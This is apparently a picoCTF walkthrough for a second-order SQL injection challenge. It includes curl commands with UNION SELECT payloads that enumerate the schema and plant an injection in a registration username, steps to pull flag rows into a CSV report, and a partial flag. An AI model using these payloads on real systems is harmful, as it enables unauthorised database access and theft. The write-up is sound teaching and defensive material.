Description
Can you try to get the flag from our website? I've prepared my queries everywhere! I think!
Setup
Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Recon the schema before crafting the UNION
ObservationThe description mentions queries everywhere on the site, which means SQL injection. Learn the schema before trying to extract anything.Before injecting, find out which tables and columns exist. Register a throwaway account with a UNION payload that pulls from information_schema (or sqlite_master, depending on the DB) so the report rendering reveals the schema for you.bash# MySQL/Postgres: list tables. On MySQL the -- comment needs a trailingbash# space or character, so use '-- -' there; SQLite and Postgres accept a bare --.bashcurl -d "username=a' UNION SELECT table_name, table_schema, '2026-01-01' FROM information_schema.tables --&password=test123" \ http://<HOST>:<PORT_FROM_INSTANCE>/registerbash# Then list columns for the table you care about:bashcurl -d "username=a' UNION SELECT column_name, table_name, '2026-01-01' FROM information_schema.columns WHERE table_name='aDNyM19uMF9mMTRn' --&password=test123" \ http://<HOST>:<PORT_FROM_INSTANCE>/registerbash# SQLite alternative:bashcurl -d "username=a' UNION SELECT name, sql, '2026-01-01' FROM sqlite_master --&password=test123" \ http://<HOST>:<PORT_FROM_INSTANCE>/registerExpected output
users,public,2026-01-01 aDNyM19uMF9mMTRn,public,2026-01-01
The hidden table name
aDNyM19uMF9mMTRnis base64 forh3r3_n0_f14g(yes, the author signposted it). Decode any odd-looking identifier you find in the schema dump withecho -n aDNyM19uMF9mMTRn | base64 -dand you'll often find the answer staring back.What didn't work first
Tried: Sending the information_schema UNION directly to the login endpoint instead of register.
The login endpoint checks credentials and hands back a session cookie; it never renders query results, so you get a failure or a generic error rather than schema output. The reflecting injection point is registration, because that username is stored and later rendered.
Tried: Using sqlite_master when the server is running MySQL or Postgres.
sqlite_master exists only in SQLite. MySQL and Postgres report a missing table or relation, which reads like the injection failing outright. Fingerprint the engine from the response headers or the error wording, then use information_schema.tables where that applies.
Learn more
Schema enumeration is the standard first move in a real-world UNION-based injection.
information_schema(MySQL/Postgres) andsqlite_master(SQLite) are both readable by every authenticated user by default and let you map the entire database from a single injection point. See the SQL injection for CTF post for the full enumeration playbook.Step 2Register with a UNION SELECT payload as your username
ObservationRegistration stores the username, and the report feature retrieves and renders it later. That is a second-order injection: plant the payload at registration and it fires when the report query reuses the stored value.Now that you know the table and columns, register an account whose username is the real injection. Reports built from your stored username will splice in rows from the hidden flag table.bash# Register with the injection as the username (note: include &password=...):bashcurl -d "username=b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --&password=test123" \ http://<HOST>:<PORT_FROM_INSTANCE>/registerbash# Then log in with the same credentials, saving the cookie:bashcurl -c cookie.jar -d "username=b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --&password=test123" \ http://<HOST>:<PORT_FROM_INSTANCE>/loginWhat didn't work first
Tried: Injecting the UNION SELECT payload into the login form username field instead of register.
The login query selects one row to verify credentials and stores nothing. The UNION does execute, but its result only feeds the authentication check; nothing comes back to you and nothing is written down. The attack needs the payload planted at registration, where it is stored and later replayed.
Tried: Using only two columns in the UNION SELECT (name, value) without the dummy third column.
The report query selects three columns, judging by the output format. A UNION with a different count raises a column-mismatch error, so registration appears to succeed and the report comes back empty. Count the original columns with NULL placeholders and match exactly.
Learn more
Second-order SQL injection (also called stored or persistent SQL injection) is a two-phase attack. In the first phase, a malicious payload is stored in the database - for example, as a username. The application may safely escape or parameterise the insertion query, so the value is stored verbatim. In the second phase, a different part of the application retrieves and re-uses the stored value in a new SQL query without escaping it, triggering the injection.
This is more insidious than first-order injection because the vulnerability is invisible during the initial input. WAFs (Web Application Firewalls) that block injection payloads at the network edge often miss second-order attacks because the payload arrives in an innocuous registration form, and the injection fires later from an internal database read.
The UNION SELECT technique appends an attacker-controlled SELECT to the original query, merging the result rows. For this to work, the injected SELECT must match the column count and compatible types of the original query. The dummy literal
'2026-01-01'fills the third column to match the original report query's schema.Step 3Generate and download the report
ObservationThe report endpoint queries the database using that stored username, so calling it with your session cookie fires the injection and the flag rows land in the downloadable CSV.Trigger the report generation feature. When the app builds the report query using your stored username, the UNION SELECT fires and appends rows from the hidden flag table (aDNyM19uMF9mMTRn) to the output. Download the report as CSV.bashcurl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/report/generatebashcurl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/report/downloadbash# The CSV contains: flag, picoCTF{...}What didn't work first
Tried: Hitting /report/download without first calling /report/generate.
The download endpoint serves a file generated earlier, from disk or session state, so with nothing generated this session it returns a 404 or an empty file. Generate first, which runs the injected query and writes the output, then download.
Tried: Registering with the injection payload, then re-registering with a clean username before generating the report.
Registering again overwrites the stored username carrying the payload. The report query then reads a clean string, no UNION fires, and you get only your own rows. Keep the injected username intact through login and report generation.
Learn more
The hidden table name
aDNyM19uMF9mMTRnis base64 forh3r3_n0_f14g. The recon step above is how you would actually discover it in a real engagement: pullingtable_namefrominformation_schema.tables(MySQL/Postgres) ornamefromsqlite_master(SQLite), then enumerating columns withUNION SELECT column_name FROM information_schema.columns WHERE table_name='...'.CSV export features are a particularly rich target for UNION-based injection because the output is structured, paginated data - exactly what a UNION SELECT produces. The injected rows appear as extra entries in the exported file, blending in with legitimate data. This is why report generation functionality deserves special attention during security reviews.
The defence against second-order injection is the same as first-order: always use parameterised queries (prepared statements) everywhere data is used in SQL, not just at the initial insertion point. Escaping is not sufficient because data passes through multiple code paths and the original escape context may be lost.
Interactive tools
- SQL Injection Payload GeneratorGenerate SQL injection payloads for auth bypass, UNION extraction, blind SQLi, NoSQL operator injection, and sqlmap commands. Supports MySQL, PostgreSQL, SQLite, and MSSQL.
Flag
Reveal flag
picoCTF{s3c0nd_0rd3r_1t_1s_...}
Second-order SQL injection via username. Register with `b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --` as your username. When the report is generated, the injection appends rows from the flag table to the CSV output.